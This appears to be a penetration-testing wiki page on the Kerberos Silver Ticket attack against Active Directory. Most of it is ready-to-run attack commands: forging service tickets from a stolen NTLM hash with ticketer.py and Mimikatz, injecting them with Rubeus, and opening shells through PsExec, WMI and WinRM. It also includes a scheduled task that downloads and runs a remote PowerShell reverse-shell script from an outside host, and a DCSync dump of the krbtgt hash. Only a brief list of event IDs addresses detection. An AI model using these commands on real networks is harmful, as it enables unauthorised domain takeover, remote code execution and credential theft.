Silver ticket
The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (like the PC account hash). Thus, it is possible to gain access to that service by forging a custom TGS as any user.
In this case, the NTLM hash of a computer account (which is kind of a user account in AD) is owned. Hence, it is possible to craft a ticket in order to get into that machine with administrator privileges through the SMB service. The computer accounts reset their passwords every 30 days by default.
It also must be taken into account that it is possible to forge tickets using the AES Kerberos keys (AES128 and AES256). To know how to generate an AES key read: section 4.4 of MS-KILE or the Get-KerberosAESKey.ps1.
{% code title="Linux" %}
python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus

In Windows, Mimikatz can be used to craft the ticket. Next, the ticket is injected with Rubeus, and finally a remote shell can be obtained thanks to PsExec.
{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
{% endcode %}
The CIFS service is the one that allows you to access the file system of the victim. You can find other services here: https://adsecurity.org/?page_id=183. For example, you can use the HOST service to create a schtask in a computer. Then you can check if this has worked trying to list the tasks of the victim: schtasks /S <hostname> or you can use the HOST and RPCSS service to execute WMI queries in a computer, test it doing: Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>
Mitigation
Silver ticket events ID (more stealth than golden ticket):
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon

Available Services
| Service Type | Service Silver Tickets |
|---|---|
| WMI | HOST RPCSS |
| PowerShell Remoting | HOST HTTP Depending on OS also: WSMAN RPCSS |
| WinRM | HOST HTTP In some occasions you can just ask for: WINRM |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | RPCSS LDAP CIFS |
| Golden Tickets | krbtgt |
Using Rubeus you may ask for all these tickets using the parameter:
/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm
Abusing Service tickets
In the following examples lets imagine that the ticket is retrieved impersonating the administrator account.
CIFS
With this ticket you will be able to access the C$ and ADMIN$ folder via SMB (if they are exposed) and copy files to a part of the remote filesystem just doing something like:
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
You will also be able to obtain a shell inside the host or execute arbitrary commands using psexec:
{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}
HOST
With this permission you can generate scheduled tasks in remote computers and execute arbitrary commands:
#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
HOST + RPCSS
With these tickets you can execute WMI in the victim system:
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"
#You can also use wmic
wmic remote.computer.local list full /format:list
Find more information about wmiexec in the following page:
{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}
HOST + WSMAN (WINRM)
With winrm access over a computer you can access it and even get a PowerShell:
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
Check the following page to learn more ways to connect with a remote host using winrm:
{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}
{% hint style="warning" %} Note that winrm must be active and listening on the remote computer to access it. {% endhint %}
LDAP
With this privilege you can dump the DC database using DCSync:
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
Learn more about DCSync in the following page:
{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}
